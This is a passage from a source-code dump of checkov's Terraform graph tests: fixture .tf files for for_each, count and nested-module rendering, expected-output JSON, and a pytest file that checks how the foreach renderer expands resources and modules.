module.level1["blue"].module.level2["test1.txt"].aws_s3_bucket_object.this_file["test4.txt"] # module.level1["blue"].module.level2["test2.txt"].aws_s3_bucket_object.this_file["test3.txt"] # module.level1["blue"].module.level2["test2.txt"].aws_s3_bucket_object.this_file["test4.txt"] # module.level1["green"].module.level2["test1.txt"].aws_s3_bucket_object.this_file["test3.txt"] # module.level1["green"].module.level2["test1.txt"].aws_s3_bucket_object.this_file["test4.txt"] # module.level1["green"].module.level2["test2.txt"].aws_s3_bucket_object.this_file["test3.txt"] # module.level1["green"].module.level2["test2.txt"].aws_s3_bucket_object.this_file["test4.txt"] module "level1" { source = "./level1_module" for_each = local.groups file_map1_level1 = local.files_map1 number_of_required_resources_var = local.number_of_required_resources } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/count_examples/simple_count/main.tf ================================================ # Expected resources: # module.simple[0].aws_s3_bucket_object.this_file # Actual resources: # NONE module "simple" { source = "./simple" count = 1 } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/data_simple/main.tf ================================================ data "aws_s3_bucket" "data_list" { for_each = toset(var.test_list.bucket) bucket = each.value } data "aws_s3_bucket" "data_dict" { for_each = var.test_dict.bucket bucket = each.value } data "aws_s3_bucket" "data_count" { count = var.test_count.bucket bucket = count.index } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/data_simple/variables.tf ================================================ variable "test_list" { bucket = ["a", "b"] } variable "test_dict" { bucket = { key1 = "a", key2 = "b" } } variable "test_count" { bucket = 2 } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/data_with_resource/data.tf ================================================ data "aws_s3_bucket" "data_dict" { for_each = var.test_dict.bucket bucket = each.value } data "aws_s3_bucket" "data_count" { count = var.test_count.bucket bucket = count.index } data "aws_s3_bucket" "data" { bucket = "a" } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/data_with_resource/main.tf ================================================ resource "aws_s3_bucket" "data_dict" { for_each = var.test_dict.bucket subnet_id = each.value bucket = data.aws_s3_bucket.data_dict[each.key].bucket } resource "aws_s3_bucket" "data_count" { count = var.test_count.bucket bucket = data.aws_s3_bucket.data_count[count.index].bucket } resource "aws_s3_bucket" "data" { subnet_id = data.aws_s3_bucket.data.bucket } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/data_with_resource/variables.tf ================================================ variable "test_dict" { bucket = { key1 = "a", key2 = "b" } } variable "test_count" { bucket = 2 } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/doc_evaluations_verify_expected.json ================================================ { "{\"file_path\": \"main.tf\", \"tf_source_modules\": null}": { "resource": [ { "aws_s3_bucket": { "my_bucket": { "region": ["us-west-2"], "bucket": ["local.bucket_name"], "acl": ["public-read"], "force_destroy": [true], "__start_line__": 1, "__end_line__": 6, "__address__": "aws_s3_bucket.my_bucket" } } } ] }, "{\"file_path\": \"variables.tf\", \"tf_source_modules\": null}": { "variable": [ { "bucket_name": { "default": [ "MyBucket" ], "__start_line__": 1, "__end_line__": 3, "__address__": "bucket_name" } }, { "acl": { "default": [ "public-read" ], "__start_line__": 5, "__end_line__": 7, "__address__": "acl" } }, { "region": { "default": ["us-west-2"], "__start_line__": 9, "__end_line__": 11, "__address__": "region" } } ] } } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_examples/count_dup_resources/main.tf ================================================ locals { name_count = var.name_count } resource "aws_s3_bucket" "count_var_resource" { count = local.name_count name = count.index region = var.test } resource "aws_s3_bucket" "var_resource" { name = "name" region = var.test } resource "aws_s3_bucket" "static_resource" { name = "name" region = "region" } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_examples/count_dup_resources/variables.tf ================================================ variable "name_count" { default = 3 } variable "test" { default = "test" } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_examples/depend_resources/main.tf ================================================ resource "aws_s3_bucket" "foreach_map" { for_each = var.foreach_map name = each.key region = each.value location = var.test } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_examples/depend_resources/variable.tf ================================================ variable "foreach_map" { default = { bucket_a: "us-west-2", bucket_b: "us-east-2" } } variable "test" { default = "test" } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_examples/foreach_dup_resources/main.tf ================================================ resource "aws_s3_bucket" "foreach_map" { for_each = var.foreach_map name = each.value region = each.key } resource "aws_s3_bucket" "foreach_list" { for_each = toset(var.foreach_list) name = each.value region = each.key } resource "aws_s3_bucket" "static_resource" { name = "name" region = "region" } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_examples/foreach_dup_resources/variables.tf ================================================ variable "foreach_map" { default = { bucket_a: "us-west-2", bucket_b: "us-east-2" } } variable "foreach_list" { default = ["bucket_a", "bucket_b"] } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_examples/foreach_lookup/main.tf ================================================ resource "google_storage_bucket" "buckets_upper" { for_each = var.names uniform_bucket_level_access = lookup( var.bucket_policy_only, upper(each.value), true, ) } resource "google_storage_bucket" "buckets_lower" { for_each = var.names uniform_bucket_level_access = lookup( var.bucket_policy_only, lower(each.value), true, ) } variable "bucket_policy_only" { description = "Disable ad-hoc ACLs on specified buckets. Defaults to true. Map of lowercase unprefixed name => boolean" type = map(bool) default = {} } variable "names" { description = "Bucket name suffixes." type = list(string) default = ["a"] } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_examples/foreach_tfvars/main.tf ================================================ variable "project_id" { type = string } locals { roles = [ "roles/run.developer", ] } resource "google_project_iam_binding" "role" { for_each = toset(local.roles) project = var.project_id role = each.key members = [ "user:captain.america@marvel.com" ] } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_examples/foreach_tfvars/terraform.tfvars ================================================ project_id = "avengers" ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_examples/module_foreach_module_foreach_resource_foreach/level1_module/main.tf ================================================ module "level2" { source = "../level2_module" for_each = var.file_map1_level1 file_map_level2 = var.file_map2_level1 } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_examples/module_foreach_module_foreach_resource_foreach/level1_module/variables.tf ================================================ variable "file_map1_level1" { type = map(string) } variable "file_map2_level1" { type = map(string) } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_examples/module_foreach_module_foreach_resource_foreach/level2_module/main.tf ================================================ resource "aws_s3_bucket_object" "this_file" { for_each = var.file_map_level2 bucket = "your_bucket_name" key = each.key source = each.value } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_examples/module_foreach_module_foreach_resource_foreach/level2_module/variables.tf ================================================ variable "file_map_level2" { type = map(string) } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_examples/module_foreach_module_foreach_resource_foreach/main.tf ================================================ locals { groups = { "blue" = "blue" "green" = "green" } files_map1 = { "test1.txt" = "test1.txt" "test2.txt" = "test2.txt" } files_map2 = { "test3.txt" = "test3.txt" "test4.txt" = "test4.txt" } } # Expected resources: # module.level1["blue"].module.level2["test1.txt"].aws_s3_bucket_object.this_file["test3.txt"] # module.level1["blue"].module.level2["test1.txt"].aws_s3_bucket_object.this_file["test4.txt"] # module.level1["blue"].module.level2["test2.txt"].aws_s3_bucket_object.this_file["test3.txt"] # module.level1["blue"].module.level2["test2.txt"].aws_s3_bucket_object.this_file["test4.txt"] # module.level1["green"].module.level2["test1.txt"].aws_s3_bucket_object.this_file["test3.txt"] # module.level1["green"].module.level2["test1.txt"].aws_s3_bucket_object.this_file["test4.txt"] # module.level1["green"].module.level2["test2.txt"].aws_s3_bucket_object.this_file["test3.txt"] # module.level1["green"].module.level2["test2.txt"].aws_s3_bucket_object.this_file["test4.txt"] module "level1" { source = "./level1_module" for_each = local.groups file_map1_level1 = local.files_map1 file_map2_level1 = local.files_map2 } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_examples/nested_foreach_based_on_module_locals/main.tf ================================================ locals { groups = { "blue" = "blue" "green" = "green" } files_map1 = { "test1" = "test1" "test2" = "test2" } } # Expected resources: # module.files["blue"].aws_s3_bucket_object.this_file["test1.txt"] # module.files["blue"].aws_s3_bucket_object.this_file["test2.txt"] # module.files["green"].aws_s3_bucket_object.this_file["test1.txt"] # module.files["green"].aws_s3_bucket_object.this_file["test2.txt"] module "files" { source = "./s3_files" for_each = local.groups file_map = local.files_map1 } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_examples/nested_foreach_based_on_module_locals/s3_files/main.tf ================================================ resource "aws_s3_bucket_object" "this_file" { for_each = var.file_map bucket = "your_bucket_name" key = each.key source = each.value } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_examples/nested_foreach_based_on_module_locals/s3_files/variables.tf ================================================ variable "file_map" { type = map(string) } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_module/main.tf ================================================ provider "aws" { region = "us-west-2" alias = "test_provider" test_provider = True } module "s3_module" { source = "./module" bucket = false bucket2 = "" } module "s3_module2" { source = "./module" bucket = "" bucket2 = true } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_module/module/main.tf ================================================ module "inner_s3_module" { count = 2 source = "./module2" bucket2 = var.bucket } module "inner_s3_module2" { for_each = ["a", "b"] source = "./module2" bucket2 = var.bucket2 } variable "bucket" { type = string } variable "bucket2" { type = string } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_module/module/module2/main.tf ================================================ locals { bucket2 = var.bucket2 } resource "aws_s3_bucket_public_access_block" "var_bucket" { bucket = local.bucket2 block_public_acls = true block_public_policy = true ignore_public_acls = true restrict_public_buckets = true } variable "bucket2" { type = string } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_module_and_resource/main.tf ================================================ module "s3_module" { for_each = ["a", "b"] source = "./module" bucket = false } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_module_and_resource/module/main.tf ================================================ locals { bucket = var.bucket } resource "aws_s3_bucket_public_access_block" "var_bucket" { for_each = ["a", "b"] bucket = local.bucket block_public_acls = true block_public_policy = true ignore_public_acls = true restrict_public_buckets = true } variable "bucket" { type = string } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf ================================================ provider "aws" { region = "us-west-2" alias = "test_provider" test_provider = True } module "s3_module" { for_each = var.foreach_var source = "./module" bucket = false bucket2 = "" } module "s3_module2" { count = var.count_var source = "./module" bucket = "" bucket2 = true } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf ================================================ module "inner_s3_module" { for_each = ["c", "d"] source = "./module2" bucket2 = var.bucket } module "inner_s3_module2" { for_each = ["e", "f"] source = "./module2" bucket2 = var.bucket2 } variable "bucket" { type = string } variable "bucket2" { type = string } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf ================================================ locals { bucket2 = var.bucket2 } resource "aws_s3_bucket_public_access_block" "var_bucket" { bucket = local.bucket2 block_public_acls = true block_public_policy = true ignore_public_acls = true restrict_public_buckets = true } variable "bucket2" { type = string } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/variable.tf ================================================ variable "count_var" { default = 2 } variable "foreach_var" { default = ["a", "b"] } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_module_with_more_than_two_resources/main.tf ================================================ provider "aws" { region = "us-west-2" alias = "test_provider" test_provider = True } module "s3_module" { source = "./module" bucket = false bucket2 = "" } module "s3_module2" { source = "./module" bucket = "" bucket2 = true } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_module_with_more_than_two_resources/module/main.tf ================================================ module "inner_s3_module" { count = 4 source = "./module2" bucket2 = var.bucket } module "inner_s3_module2" { for_each = ["a", "b", "c"] source = "./module2" bucket2 = var.bucket2 } variable "bucket" { type = string } variable "bucket2" { type = string } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_module_with_more_than_two_resources/module/module2/main.tf ================================================ locals { bucket2 = var.bucket2 } resource "aws_s3_bucket_public_access_block" "var_bucket" { bucket = local.bucket2 block_public_acls = true block_public_policy = true ignore_public_acls = true restrict_public_buckets = true } variable "bucket2" { type = string } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_resources/dynamic_foreach_value/main.tf ================================================ locals { name_map = var.names_map name_list = var.names_list count = var.number count_list = var.names_list } resource "aws_s3_bucket" "bucket_rendered" { for_each = local.name_map name = each.key location = each.value region = var.test } resource "aws_s3_bucket" "bucket_map_rendered" { for_each = local.name_list bucket = each.value } resource "aws_s3_bucket" "count_rendered" { count = local.count bucket = count.index } resource "aws_s3_bucket" "count_rendered_length" { count = length(local.count_list) bucket = count.index } resource "aws_s3_bucket" "not_foreach" { for_each = local.wrong } resource "aws_s3_bucket" "not_foreach" { region = var.test } resource "aws_s3_bucket" "not_foreach" { region = local.count_list } resource "aws_s3_bucket" "not_foreach" { region = local.count_list } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_resources/dynamic_foreach_value/variable.tf ================================================ variable "names_list" { default = ["s3-bucket-a", "s3-bucket-b"] } variable "names_map" { default = { a_group = "eastus" another_group = "westus2" } } variable "number" { default = 5 } variable "number_list" { default = ["a", "b", "c"] } variable "test" { default = "test" } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/foreach_resources/static_foreach_value/main.tf ================================================ resource "aws_s3_bucket" "bucket_static_set" { for_each = toset(["bucket_a", "bucket_b"]) bucket = each.value } resource "aws_s3_bucket" "bucket_static_map" { for_each = {"key1": var.a, "key2": var.b} bucket = each.value } resource "aws_s3_bucket" "bucket_rendered" { for_each = var.a bucket = each.value } resource "aws_s3_bucket" "bucket_map_rendered" { for_each = {var.a: var.a, "key2": var.b} bucket = each.value } resource "aws_s3_bucket" "count_static" { count = 5 bucket = count.index } resource "aws_s3_bucket" "count_rendered" { count = var.a bucket = count.index } resource "aws_s3_bucket" "count_rendered_length" { count = length(var.files) bucket = count.index } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/merge_function_unresolved_var_expected.json ================================================ { "{\"file_path\": \"main.tf\", \"tf_source_modules\": null}": { "locals": [ { "common_tags": [ { "Tag1": "one", "Tag2": "two" } ] } ], "variable": [ { "ENV": { "__start_line__": 8, "__end_line__": 8, "__address__": "ENV" } } ], "resource": [ { "aws_s3_bucket": { "bucket": { "tags": [ { "Tag1": "one", "Tag2": "two", "Name": "my-bucket-var.ENV" } ], "__start_line__": 10, "__end_line__": 14, "__address__": "aws_s3_bucket.bucket" } } } ] } } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/os_example_large_count_with_nested_module/child/main.tf ================================================ ## child/main.tf variable "child-name" { type = string } resource "terraform_data" "child-example" { input = "1" } output "child-result" { value = terraform_data.child-example.output } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/os_example_large_count_with_nested_module/modules.tf ================================================ # modules.tf module "modules" { count = 12 source = "./parent" parent = count.index } output "modules-result" { value = { for k, v in module.modules-parent : k => v } } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/os_example_large_count_with_nested_module/parent/main.tf ================================================ # parent/main.tf variable "parent" { type = string } module "parent" { source = "../child" child-name = "1" } output "parent-result" { value = module.parent.child-result } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf ================================================ provider "aws" { region = "us-west-2" alias = "test_provider" test_provider = True } module "s3_module" { for_each = var.foreach_var source = "./module" bucket = false bucket2 = "" } module "s3_module2" { count = var.count_var source = "./module" bucket = "" bucket2 = true } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf ================================================ module "inner_s3_module" { source = "./module2" bucket2 = var.bucket } module "inner_s3_module2" { source = "./module2" bucket2 = var.bucket2 } variable "bucket" { type = string } variable "bucket2" { type = string } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf ================================================ locals { bucket2 = var.bucket2 } resource "aws_s3_bucket_public_access_block" "var_bucket" { bucket = local.bucket2 block_public_acls = true block_public_policy = true ignore_public_acls = true restrict_public_buckets = true } variable "bucket2" { type = string } ================================================ FILE: tests/terraform/graph/variable_rendering/resources/parser_dup_nested/variable.tf ================================================ variable "count_var" { default = 2 } variable "foreach_var" { default = ["a", "b"] } ================================================ FILE: tests/terraform/graph/variable_rendering/test_foreach_renderer.py ================================================ import json import os from unittest import mock import pytest from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.util.env_vars_config import env_vars_config from checkov.common.util.json_utils import object_hook, CustomJSONEncoder from checkov.terraform import TFModule from checkov.terraform.graph_builder.foreach.abstract_handler import ForeachAbstractHandler from checkov.terraform.graph_builder.foreach.builder import ForeachBuilder from checkov.terraform.graph_builder.foreach.module_handler import ForeachModuleHandler from checkov.terraform.graph_builder.foreach.resource_handler import ForeachResourceHandler from checkov.terraform.graph_builder.graph_to_tf_definitions import convert_graph_vertices_to_tf_definitions TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) def load_expected_data(path): dir_name = os.path.realpath(os.path.join(TEST_DIRNAME, path)) with open(dir_name, "r") as f: return json.load(f) def assert_object_equal(res, expected_res): assert len(res) == len(expected_res) if isinstance(res, dict): assert dict(sorted(res.items(), key=lambda item: item[0])) == dict(sorted(expected_res.items(), key=lambda item: item[0])) if isinstance(res, list): assert res.sort() == expected_res.sort() def build_and_get_graph_by_path(path, render_var=False): from checkov.terraform.graph_manager import TerraformGraphManager resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, 'resources', path)) graph_manager = TerraformGraphManager('m', ['m']) local_graph, tf_definitions = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=render_var) return local_graph, tf_definitions @pytest.fixture() def checkov_source_path() -> str: return os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(__file__))))) @pytest.mark.parametrize( "block_index,expected_res,obj", [ (0, ['bucket_a', 'bucket_b'], True), (1, {'key1': '${var.a}', 'key2': '${var.b}'}, True), (2, None, False), (3, None, False), (4, 5, False), (5, None, False), (6, None, False) ] ) @mock.patch.dict(os.environ, {"CHECKOV_ENABLE_FOREACH_HANDLING": "False"}) def test_static_foreach_resource(block_index, expected_res, obj): dir_name = 'foreach_resources/static_foreach_value' local_graph = build_and_get_graph_by_path(dir_name)[0] foreach_handler = ForeachResourceHandler(local_graph) res = foreach_handler._get_static_foreach_statement(block_index) if obj: assert_object_equal(res, expected_res) else: assert res == expected_res @mock.patch.dict(os.environ, {"CHECKOV_ENABLE_FOREACH_HANDLING": "False"}) def test_dynamic_foreach_resource(): dir_name = 'foreach_resources/dynamic_foreach_value' local_graph = build_and_get_graph_by_path(dir_name)[0] foreach_handler = ForeachResourceHandler(local_graph) res = foreach_handler._handle_dynamic_statement([4, 5, 6, 7, 8]) expected_res = { 4: {'a_group': 'eastus', 'another_group': 'westus2'}, 5: ['s3-bucket-a', 's3-bucket-b'], 6: 5, 7: 2, 8: None } assert_object_equal(res, expected_res) @mock.patch.dict(os.environ, {"CHECKOV_ENABLE_FOREACH_HANDLING": "False"}) def test_foreach_resource(): dir_name = 'foreach_resources' local_graph = build_and_get_graph_by_path(dir_name)[0] foreach_handler = ForeachResourceHandler(local_graph) res = foreach_handler._get_statements([6, 7, 8, 9, 10, 19, 20, 21, 22, 23, 24, 25]) expected_res = { 4: {'a_group': 'eastus', 'another_group': 'westus2'}, 5: ['s3-bucket-a', 's3-bucket-b'], 6: 5, 7: 2, 8: None, 17: ['bucket_a', 'bucket_b'], 18: {'key1': '${var.a}', 'key2': '${var.b}'}, 19: None, 20: None, 21: 5, 22: None, 23: None } for key, _ in expected_res.items(): if isinstance(expected_res[key], (list, dict)): assert_object_equal(res[key], expected_res[key]) else: assert res[key] == expected_res[key] @mock.patch.dict(os.environ, {"CHECKOV_ENABLE_FOREACH_HANDLING": "False"}) def test_build_sub_graph(): dir_name = 'foreach_resources' local_graph = build_and_get_graph_by_path(dir_name)[0] foreach_handler = ForeachAbstractHandler(local_graph) blocks = [6, 7, 8, 9, 10, 21, 22] sub_graph = foreach_handler._build_sub_graph(blocks) assert all(sub_graph.vertices[i] for i in blocks) assert not all(sub_graph.vertices[i] for i in range(len(sub_graph.vertices))) assert len(sub_graph.edges) < len(local_graph.edges) def test_new_resources_count(): dir_name = 'foreach_examples/count_dup_resources' local_graph = build_and_get_graph_by_path(dir_name)[0] main_count_resource = 'aws_s3_bucket.count_var_resource' foreach_builder = ForeachBuilder(local_graph) foreach_builder._module_handler.local_graph.enable_foreach_handling = True foreach_builder.handle({'resource': [3], 'module': []}) for i, resource in enumerate([local_graph.vertices[1], local_graph.vertices[6], local_graph.vertices[7]]): assert resource.name.endswith(f"[{i}]") assert resource.id.endswith(f"[{i}]") assert list(resource.config['aws_s3_bucket'].keys())[0].endswith(f'[{i}]') new_vertices_names = [vertice.name for vertice in local_graph.vertices] assert main_count_resource not in new_vertices_names def test_new_resources_foreach(): dir_name = 'foreach_examples/foreach_dup_resources' local_graph = build_and_get_graph_by_path(dir_name)[0] foreach_builder = ForeachBuilder(local_graph) foreach_builder._module_handler.local_graph.enable_foreach_handling = True foreach_builder.handle({'resource': [0, 1], 'module': []}) for resource in [local_graph.vertices[0], local_graph.vertices[1], local_graph.vertices[5], local_graph.vertices[6]]: assert resource.name.endswith("[\"bucket_a\"]") or resource.name.endswith("[\"bucket_b\"]") assert resource.id.endswith("[\"bucket_a\"]") or resource.id.endswith("[\"bucket_b\"]") config_name = list(resource.config['aws_s3_bucket'].keys())[0] assert config_name.endswith("[\"bucket_a\"]") or config_name.endswith("[\"bucket_b\"]") def test_resources_flow(): dir_name = 'foreach_examples/depend_resources' local_graph, _ = build_and_get_graph_by_path(dir_name, render_var=True) assert local_graph.vertices_by_block_type['variable'] == [1, 2] assert local_graph.vertices_by_block_type['resource'] == [0, 3] assert local_graph.vertices_block_name_map['variable'] == {'foreach_map': [1], 'test': [2]} assert local_graph.vertices_block_name_map['resource'] == {'aws_s3_bucket.foreach_map[\"bucket_a\"]': [0], 'aws_s3_bucket.foreach_map[\"bucket_b\"]': [3]} assert local_graph.edges[0].dest == 2 assert local_graph.edges[0].origin == 0 assert local_graph.edges[0].label == 'location' assert local_graph.edges[1].dest == 2 assert local_graph.edges[1].origin == 3 assert local_graph.edges[1].label == 'location' assert len(local_graph.vertices) == 4 resources = [ver for ver in local_graph.vertices if ver.block_type == 'resource'] assert len(resources) == 2 resource_a_name = 'aws_s3_bucket.foreach_map[\"bucket_a\"]' assert resources[0].name == resource_a_name assert resources[0].id == resource_a_name assert resources[0].attributes.get('__address__') == resource_a_name assert resources[0].config.get('aws_s3_bucket').get('foreach_map[\"bucket_a\"]').get('__address__') == resource_a_name assert resources[0].attributes.get('location') == ["test"] assert resources[0].attributes.get('name') == ["bucket_a"] assert resources[0].attributes.get('region') == ["us-west-2"] assert list(resources[0].config.get('aws_s3_bucket').keys())[0] == 'foreach_map[\"bucket_a\"]' @mock.patch.dict(os.environ, {"CHECKOV_NEW_TF_PARSER": "False"}) def test_tf_definitions_and_breadcrumbs(): from checkov.terraform.graph_builder.graph_to_tf_definitions import convert_graph_vertices_to_tf_definitions dir_name = 'foreach_examples/depend_resources' local_graph, _ = build_and_get_graph_by_path(dir_name, render_var=True) tf_definitions, breadcrumbs = convert_graph_vertices_to_tf_definitions(local_graph.vertices, dir_name) expected_data = load_expected_data('expected_data_foreach.json') tf_definitions_to_check = {} for path, res in tf_definitions.items(): path_list = path.file_path.split('/')[-2:] real_path = os.path.join(path_list[0], path_list[1]) tf_definitions_to_check[real_path] = tf_definitions[path] assert_object_equal(tf_definitions_to_check, expected_data['tf_definitions']) expected_breadcrumbs = expected_data['breadcrumbs'] assert len(breadcrumbs) == len(expected_breadcrumbs) assert len(breadcrumbs[list(breadcrumbs.keys())[0]]) == len(expected_breadcrumbs[list(expected_breadcrumbs.keys())[0]]) resource_vertices = [vertex for vertex in local_graph.vertices if vertex.block_type == 'resource'] for resource_vertex in resource_vertices: assert len(resource_vertex.foreach_attrs) == 2 for name in ['["bucket_a"]', '["bucket_b"]']: assert f'aws_s3_bucket.foreach_map{name}' in breadcrumbs[list(breadcrumbs.keys())[0]] location_var = 'location' assert list(breadcrumbs[list(breadcrumbs.keys())[0]][f'aws_s3_bucket.foreach_map{name}'].keys()) == [location_var] assert list(expected_breadcrumbs[list(expected_breadcrumbs.keys())[0]][f'aws_s3_bucket.foreach_map{name}'].keys()) == [location_var] assert breadcrumbs[list(breadcrumbs.keys())[0]][f'aws_s3_bucket.foreach_map{name}'][location_var][0]['type'] == 'variable' assert expected_breadcrumbs[list(expected_breadcrumbs.keys())[0]][f'aws_s3_bucket.foreach_map{name}'][location_var][0]['type'] == 'variable' assert breadcrumbs[list(breadcrumbs.keys())[0]][f'aws_s3_bucket.foreach_map{name}'][location_var][0]['name'] == 'test' assert expected_breadcrumbs[list(expected_breadcrumbs.keys())[0]][f'aws_s3_bucket.foreach_map{name}'][location_var][0]['name'] == 'test' assert breadcrumbs[list(breadcrumbs.keys())[0]][f'aws_s3_bucket.foreach_map{name}'][location_var][0]['path'].endswith('depend_resources/variable.tf') assert expected_breadcrumbs[list(expected_breadcrumbs.keys())[0]][f'aws_s3_bucket.foreach_map{name}'][location_var][0]['path'].endswith('depend_resources/variable.tf') @pytest.mark.parametrize( "attrs,k_v_to_change,expected_attrs,expected_res", [ ({"test_key": ["${test_val}"]}, {"test_val": "new_val"}, {"test_key": ["new_val"]}, ['test_key']), ({"test_key": ["${test}"]}, {"test_val": "new_val"}, {"test_key": ["${test}"]}, []), ({"test_key": ["${test_val} ${test_val}"]}, {"test_val": "new_val"}, {"test_key": ["new_val new_val"]}, ['test_key']), ({"test_key": {"nested_key": ["${test_val}"]}}, {"test_val": "new_val"}, {"test_key": {"nested_key": ["new_val"]}}, ['test_key.nested_key']), ({"test_key": ["${test_val} test_val"]}, {"test_val": "new_val"}, {"test_key": ["new_val new_val"]}, ['test_key']), ({"test_key": ["${test_val}"]}, {"test_val": 123}, {"test_key": [123]}, ['test_key']), ({"test_key": ["${test_val}"]}, {"test_val": True}, {"test_key": [True]}, ['test_key']), ({"test_key": {"a": "${test_val}"}}, {"test_val": "new_val"}, {"test_key": {"a": "new_val"}}, ['test_key.a']), ({"test_key": {"a": {"b": "${test_val}"}}}, {"test_val": "new_val"}, {"test_key": {"a": {"b": "new_val"}}}, ['test_key.a.b']), ({'ports': '${each.value.port}', 'protocol': 'tcp'}, {'each.value': {'name': 'name-open-ssh', 'port': '22', 'range': '0.0.0.0/0', 'tag': 'allow-ssh'}}, {'ports': '22', 'protocol': 'tcp'}, ['ports']), ( {"tags": ["${try(merge(var.tags,{'product_owner': '${each.value.product_owner}'}),var.tags,{'git_commit': 'aaaaa', 'git_file': 'main.tf'})}"]}, {'each.value': {'name': 'security', 'product_owner': 'barak@gmail.com'}, 'each.key': 'security'}, {"tags": ["${try(merge(var.tags,{'product_owner': 'barak@gmail.com'}),var.tags,{'git_commit': 'aaaaa', 'git_file': 'main.tf'})}"]}, ["tags"] ) ] ) def test_update_attrs(attrs, k_v_to_change, expected_attrs, expected_res): local_graph = build_and_get_graph_by_path('')[0] foreach_handler = ForeachAbstractHandler(local_graph) res = foreach_handler._update_attributes(attrs, k_v_to_change) assert attrs == expected_attrs assert res == expected_res @mock.patch.dict(os.environ, {"CHECKOV_ENABLE_MODULES_FOREACH_HANDLING": "True"}) def test_new_tf_parser_with_foreach_modules(checkov_source_path): dir_name = 'parser_dup_nested' local_graph, _ = build_and_get_graph_by_path(dir_name, render_var=True) tf_definitions, _ = convert_graph_vertices_to_tf_definitions(vertices=local_graph.vertices, root_folder=dir_name) assert len(tf_definitions.keys()) == 14 assert len([block for block in local_graph.vertices if block.block_type == 'resource']) == 8 assert len([block for block in local_graph.vertices if block.block_type == 'module']) == 12 assert len(local_graph.vertices) == 47 assert len(local_graph.vertices_by_module_dependency) == 13 assert local_graph.vertices_by_module_dependency[None]['module'] == [0, 1, 25, 36] first_module_vertex = local_graph.vertices[0] assert first_module_vertex.name == 's3_module["a"]' and first_module_vertex.for_each_index == 'a' second_module_vertex = local_graph.vertices[1] assert second_module_vertex.name == 's3_module2[0]' and second_module_vertex.for_each_index == 0 twenty_fifth_module_vertex = local_graph.vertices[25] assert twenty_fifth_module_vertex.name == 's3_module["b"]' and twenty_fifth_module_vertex.for_each_index == 'b' thrirty_six_module_vertex = local_graph.vertices[36] assert thrirty_six_module_vertex.name == 's3_module2[1]' and thrirty_six_module_vertex.for_each_index == 1 assert local_graph.vertices[26].source_module == {25} assert local_graph.vertices[37].source_module == {36} # check foreach_idx is updated correctly first_key = list(tf_definitions.keys())[0] first_value = tf_definitions[first_key] first_tf_module = first_value['module'][0]['s3_module["a"]']['__resolved__'][0] second_tf_module = first_value['module'][1]['s3_module2[0]']['__resolved__'][0] third_tf_module = first_value['module'][2]['s3_module["b"]']['__resolved__'][0] fourth_tf_module = first_value['module'][3]['s3_module2[1]']['__resolved__'][0] assert first_tf_module in tf_definitions assert second_tf_module in tf_definitions assert third_tf_module in tf_definitions assert fourth_tf_module in tf_definitions first_nested_module = tf_definitions[first_tf_module] second_nested_module = tf_definitions[second_tf_module] third_nested_module = tf_definitions[third_tf_module] fourth_nested_module = tf_definitions[fourth_tf_module] assert len(tf_definitions[first_nested_module['module'][0]['inner_s3_module']['__resolved__'][0]]['resource']) == 1 assert len(tf_definitions[first_nested_module['module'][1]['inner_s3_module2']['__resolved__'][0]]['resource']) == 1 assert len(tf_definitions[second_nested_module['module'][0]['inner_s3_module']['__resolved__'][0]]['resource']) == 1 assert len(tf_definitions[second_nested_module['module'][1]['inner_s3_module2']['__resolved__'][0]]['resource']) == 1 assert len(tf_definitions[third_nested_module['module'][0]['inner_s3_module']['__resolved__'][0]]['resource']) == 1 assert 